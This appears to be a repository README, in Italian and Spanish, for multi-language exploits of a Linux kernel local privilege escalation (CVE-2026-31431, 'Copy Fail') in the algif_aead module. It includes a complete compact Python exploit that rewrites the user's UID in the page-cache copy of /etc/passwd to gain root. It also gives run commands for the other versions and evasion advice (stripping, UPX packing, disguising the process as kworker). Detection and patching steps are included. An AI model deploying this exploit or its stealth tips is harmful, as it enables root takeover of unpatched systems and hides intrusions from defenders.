
# Implementazioni educative multi-linguaggio di exploit per CVE-2026-31431, un'escalation locale dei privilegi del kernel Linux tramite il modulo algif_aead, con un rilevatore sicuro e guida all'uso per CTF.
Repo educativo con implementaciones en múltiples lenguajes del exploit Copy Fail.
Creado y mantenido por @shotafry — perché leggere il CVE non basta. Bisogna riprodurlo.
Copy Fail è una vulnerabilità di escalation dei privilegi locale (LPE) nel kernel Linux, catalogata come CVE-2026-31431. Colpisce il sottosistema crittografico del kernel, in particolare il modulo algif_aead che gestisce le operazioni di cifratura autenticata (AEAD) tramite socket AF_ALG.
Il difetto è stato introdotto nel 2017 in un'ottimizzazione del modulo authencesn ed è rimasto non rilevato per quasi 9 anni, presente in praticamente tutte le distribuzioni Linux moderne.
Ciò che rende speciale Copy Fail rispetto ad altri LPE storici:
La vulnerabilità è stata scoperta da Taeyang Lee del team di ricerca di Theori. L'intera catena di exploit è stata sviluppata dal team Xint Code Research, che ha documentato il processo usando analisi assistita da IA sul sottosistema crypto/ del kernel Linux.
La divulgazione pubblica include PoC funzionante, analisi tecnica completa e documentazione su copy.fail.
CVE: CVE-2026-31431
CVSS: 7.8 — ALTA
Vector: Local
Impacto: Escalada de privilegios completa (root)
Distros: Todas las distribuciones Linux con kernel >= 2017 sin parchear
Il CVSS è 7.8 e non arriva a critico (9+) solo perché richiede accesso locale preventivo — l'attaccante deve già avere una sessione sul sistema. In ambienti cloud e con container Docker, questo requisito è considerevolmente più facile da soddisfare di quanto sembri.
Il kernel Linux conserva in RAM i file letti di recente. Questo si chiama page cache. Quando un processo legge /etc/passwd, il kernel non va al disco — serve la copia in RAM. Questo è più veloce, ma crea una superficie d'attacco: se puoi modificare quella copia in RAM senza toccare il disco, il sistema vedrà dati falsi.
Il modulo algif_aead consente di eseguire operazioni AEAD dallo spazio utente tramite socket AF_ALG. Il bug sta nell'ottimizzazione introdotta nel 2017: quando si usa splice() per passare pagine di un file al socket, quelle pagine della page cache finiscono nella lista di dispersione destinazione (scrivibile) dell'operazione crittografica.
Risultato: qualsiasi utente senza privilegi può scrivere 4 byte controllati in qualsiasi file che possa leggere, senza toccare il disco.
Usuario sin privilegios
│
▼
Abre socket AF_ALG (authencesn)
│
▼
sendmsg() — parámetros AEAD con nuestros 4 bytes en seqno_lo
│
▼
splice() — fichero → pipe → socket op
[BUG] La page cache del fichero queda en el scatterlist destino
│
▼
recv() dispara la operación AEAD
La auth falla (EBADMSG) pero el scratch-write ya ocurrió
│
▼
/etc/passwd (page cache) ahora dice: usuario → UID 0
│
▼
su <usuario> → PAM valida contraseña real → setuid(0) → ROOT
Immagina che il kernel abbia un libro dei registri del castello (/etc/passwd). Copy Fail è come scoprire che se apri l'officina di magia del castello in un ordine molto specifico, il libro dei registri finisce accidentalmente sulla tua scrivania — e puoi cambiare il tuo grado da "soldato semplice" a "re" con una penna. L'archivista (PAM) verifica la tua password ma non controlla il libro originale, solo la copia che hai davanti. Sei re.

>= ~2017 senza la patch di CVE-2026-31431algif_aead disponibile e caricabileQuesto si può davvero saltare e provare direttamente uno degli exploit, ma è anche valido se non vogliamo rischiare di caricarli o crearli e vogliamo solo vedere se funziona, ma gli exploit hanno la loro funzione per verificare se il sistema in questione è vulnerabile.
# Ver versión del kernel
uname -a
# Comprobar si el algoritmo está disponible
grep -i authencesn /proc/crypto
# Comprobar si el módulo está cargado
lsmod | grep alg
Se grep -i authencesn /proc/crypto restituisce authencesn(hmac(sha256),cbc(aes)), il sistema è vulnerabile.
Questo repository contiene l'exploit implementato in 6 linguaggi, tutti funzionalmente equivalenti, con commenti didattici in spagnolo.
copy_fail_exploit.c → C — binario estático, cero dependencias
copy_fail_exploit.py → Python — más legible, ideal para aprender
copy_fail_exploit.rs → Rust — la ironía: lenguaje "seguro" explota kernel
copy_fail_exploit.go → Go — binario estático, muy portable
copy_fail_exploit.rb → Ruby — omnipresente en servidores Rails
copy_fail_exploit.pl → Perl — el más silencioso, está en todo Linux
test_cve_2026_31431.py → Detector — verifica vulnerabilidad sin explotar nada
python3 test_cve_2026_31431.py
# Compilar
gcc copy_fail_exploit.c -o copy_fail_c
# Dry-run (limpia al salir, no deja rastro)
./copy_fail_c
# Exploit completo
./copy_fail_c --shell
# Dry-run
python3 copy_fail_exploit.py
# Exploit completo
python3 copy_fail_exploit.py --shell
# Compilar
rustc copy_fail_exploit.rs -o copy_fail_rs
# Dry-run
./copy_fail_rs
# Exploit completo
./copy_fail_rs --shell
# Compilar
go build -o copy_fail_go copy_fail_exploit.go
# Dry-run
./copy_fail_go
# Exploit completo
./copy_fail_go --shell
# Dry-run
ruby copy_fail_exploit.rb
# Exploit completo
ruby copy_fail_exploit.rb --shell
# Dry-run
perl copy_fail_exploit.pl
# Exploit completo
perl copy_fail_exploit.pl --shell
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby (suele venir preinstalado en Kali)
apt install ruby
# Perl (prácticamente siempre presente)
perl --version
Una volta lanciato l'exploit (prima del su), puoi verificare visivamente il cambiamento nella page cache con:
# Terminal 1: monitorización en tiempo real
watch -n 0.5 'grep tuusuario /etc/passwd'
# Terminal 2: lanzar el exploit
python3 copy_fail_exploit.py --shell
Vedrai come il campo UID cambia da 1000 a 0000 in tempo reale. Dopo il su:
id
# uid=0(root) gid=0(root) groups=0(root)
Per pulire senza riavviare (dalla shell root):
echo 3 > /proc/sys/vm/drop_caches
[*] CVE-2026-31431 LPE usuario=shotafry uid=1000
[*] /etc/passwd: usuario 'shotafry' — campo UID en offset 3118 = '1000'
[*] Aplicando write4: '1000' -> '0000' en la page cache...
[+] Page cache ahora muestra UID 0 en offset 3118
[+] /etc/passwd (page cache) ahora lista a shotafry como UID 0
[+] Ejecuta: su shotafry
[+] Introduce tu contraseña. su hará setuid(0) → shell root.
Il disco non viene mai modificato. Un riavvio o drop_caches ripristina tutto allo stato originale.
Copy Fail è rilevante in qualsiasi CTF o laboratorio di privesc su Linux dove il kernel non è patchato.
algif_aead può essere disattivato in ambienti hardened — se il detector fallisce nel passaggio AF_ALG, cerca un altro vettore# 1. Comprobar kernel
uname -a
# 2. Detector
python3 test_cve_2026_31431.py
# 3. Si vulnerable, exploit
python3 copy_fail_exploit.py --shell
# 4. Limpiar después
echo 3 > /proc/sys/vm/drop_caches
Le implementazioni di questo repo sono commentate e verbose per scopo didattico. In un contesto di pentesting reale, vorrai versioni più silenziose.
L'exploit nel suo nucleo sono 5 syscall: socket, bind, setsockopt, sendmsg, splice. Tutto il resto è cosmetico. Una versione silenziosa elimina tutto l'output e minimizza il codice al minimo funzionale.
# Versión compacta sin output — misma funcionalidad, menor superficie de detección
import os, socket, struct, pwd
def w4(p, o, b):
f = os.open(p, 0); os.read(f, 4096)
m = socket.socket(38, 5, 0)
m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
op, _ = m.accept()
aad = b"\x00\x00\x00\x00" + b
op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
pr, pw = os.pipe()
os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
try: op.recv(64)
except: pass
[os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]
u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])
⚠️ Nota: gli antivirus e gli EDR rilevano pattern di offuscamento (import compressi, nomi di funzione a un carattere, zlib+hex concatenato). Un binario C compilato staticamente rimane l'opzione più silenziosa in ambienti monitorati.
strip: gcc exploit.c -o exploit && strip exploit — elimina i simboli di debugupx --best exploit — comprime il binario, ne cambia la firmakworker o systemd-helper per passare inosservato in ps# Debian/Ubuntu/Kali
apt update && apt upgrade
# RHEL/CentOS/Fedora
dnf update
# Arch
pacman -Syu
Se non puoi patchare immediatamente, disattiva il modulo vulnerabile:
# Desactivar el módulo
rmmod algif_aead 2>/dev/null
# Evitar que se cargue en el futuro
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.
La patch deve essere applicata al kernel dell'host — i container condividono il kernel e non sono isolati da questa vulnerabilità. Aggiornare solo l'immagine del container non protegge da nulla.
CVE-2026-31431-Copy-Fail/
├── README.md ← Este fichero (ES)
├── README_ENGLISH.md ← Versión en inglés
├── copy_fail_exploit.c ← Exploit en C
├── copy_fail_exploit.py ← Exploit en Python
├── copy_fail_exploit.rs ← Exploit en Rust
├── copy_fail_exploit.go ← Exploit en Go
├── copy_fail_exploit.rb ← Exploit en Ruby
├── copy_fail_exploit.pl ← Exploit en Perl
├── test_cve_2026_31431.py ← Detector (safe, no modifica nada)
└── assets/
├── Infografia.png ← Infografía del exploit
├── Exploit en C.png ← Captura del exploit C en acción
└── passwd.png ← Output del detector en sistema vulnerable
Mentre tutti pubblicavano questo CVE con un paragrafo generato da IA e un link al repo ufficiale, io ho passato la giornata a studiarlo davvero: leggendo il codice del kernel, capendo la page cache, riproducendo l'exploit in laboratorio, e poi portandolo in 6 linguaggi diversi per capire esattamente cosa sta succedendo a ogni livello.
La versione in Rust è la mia preferita. Usi il linguaggio più ossessionato dalla sicurezza della memoria per sfruttare un difetto nel kernel scritto in C. L'ironia si spiega da sola.
Questo repo esiste perché credo che la differenza tra un professionista della sicurezza e qualcuno che condivide solo post stia nel fatto di essersi davvero seduti a riprodurre le cose.
authencesn / algif_aeadQuesto repository è esclusivamente per uso didattico, ricerca sulla sicurezza e test su sistemi propri o con autorizzazione esplicita per iscritto.
L'uso di questi strumenti contro sistemi senza autorizzazione è illegale nella maggior parte delle giurisdizioni. L'autore non è responsabile dell'uso improprio di questo materiale.
Testa solo su ciò che è tuo o su cui hai il permesso di fare audit.
Fatto con curiosità, laboratorio, e troppo caffè, o birra 0.0 precisamente.
@shotafry
@BrayLozano
| Caratteristica | Copy Fail | LPE tipico |
|---|
| Necessita race condition | ❌ No | ✅ Sì |
| Necessita offset specifico del kernel | ❌ No | ✅ Sì |
| Funziona su tutte le distro | ✅ Sì | ❌ Normalmente no |
| Affidabilità | 100% deterministico | Variabile |
| Modifica il disco | ❌ No (solo RAM) | Dipende |
| Lenguaje | Requisito en el objetivo | Compilación previa |
|---|
| C | Ninguno (binario estático) | gcc en máquina de compilación |
| Python | Python 3.10+ | No |
| Rust | Ninguno (binario estático) | rustc en máquina de compilación |
| Go | Ninguno (binario estático) | go en máquina de compilación |
| Ruby | Ruby + gem fiddle (incluido por defecto) | No |
| Perl | Perl 5 (incluido en prácticamente todo Linux) | No |